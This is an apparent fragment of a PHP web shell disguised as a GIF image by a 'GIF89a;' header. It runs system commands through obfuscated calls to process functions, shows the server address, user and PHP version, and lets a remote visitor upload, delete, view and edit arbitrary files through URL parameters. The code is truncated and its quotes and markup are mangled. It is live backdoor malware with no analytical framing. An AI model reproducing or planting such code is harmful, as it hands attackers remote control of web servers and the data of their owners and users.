GIF89a;
[‘pipe’,’r’],1=>[‘pipe’,’w’],2=>[‘pipe’,’w’]];
$h = $fn($c, $d, $p2);
if(is_resource($h)) { $o = stream_get_contents($p2[1]); fclose($p2[0]); fclose($p2[1]); fclose($p2[2]); proc_close($h); }
break;
}
elseif($fn == $fl[4]) { $h = $fn($c, ‘r’); if($h) { while(!feof($h)) $o .= fread($h, 4096); pclose($h); } break; }
}
}
if(empty($o)) $o = ‘N/A’;
}

function _fc($f) { return file_get_contents($f) ?: ”; }

echo ‘
‘.$n.’


‘.phpversion().’ | ‘.php_uname(‘m’).’

‘;

echo ‘

Server ‘.$_SERVER[‘SERVER_ADDR’].’
User ‘.get_current_user().’ (uid:’.getmyuid().’)
PHP ‘.phpversion().’ (‘.php_sapi_name().’)

‘;

echo ‘



‘.(!empty($o) ? ‘

‘.$o.’

‘ : ”).’

‘;

echo ‘


‘;

if(isset($_FILES[‘f’])) {
if(copy($_FILES[‘f’][‘tmp_name’], $p.’/’.$_FILES[‘f’][‘name’]))
echo ‘

Upload: ‘.$_FILES[‘f’][‘name’].’

‘;
}

if(@$_GET[‘action’] == ‘upload’ && isset($_GET[‘dir’])) {
$updir = $p.’/’.$_GET[‘dir’];
if(isset($_FILES[‘uf’])) {
if(copy($_FILES[‘uf’][‘tmp_name’], $updir.’/’.$_FILES[‘uf’][‘name’]))
echo ‘

Uploaded: ‘.$_FILES[‘uf’][‘name’].’

‘;
}
echo ‘

Upload to: ‘.$_GET[‘dir’].’

‘;
exit;
}

if(@$_GET[‘action’] == ‘delete’ && isset($_GET[‘item’])) {
if(unlink($_GET[‘item’])) echo ‘

Deleted

‘;
}

if(isset($_GET[‘action’]) && isset($_GET[‘item’])) {
$item = $_GET[‘item’];
if($_GET[‘action’] == ‘view’) {
echo ‘

View: ‘.$item.’

Back

‘;
exit;
}
if($_GET[‘action’] == ‘edit’) {
if(isset($_POST[‘content’])) {
if(file_put_contents($item, $_POST[‘content’]))
echo ‘

Saved

‘;
}
echo ‘

Edit: ‘.$item.’


Back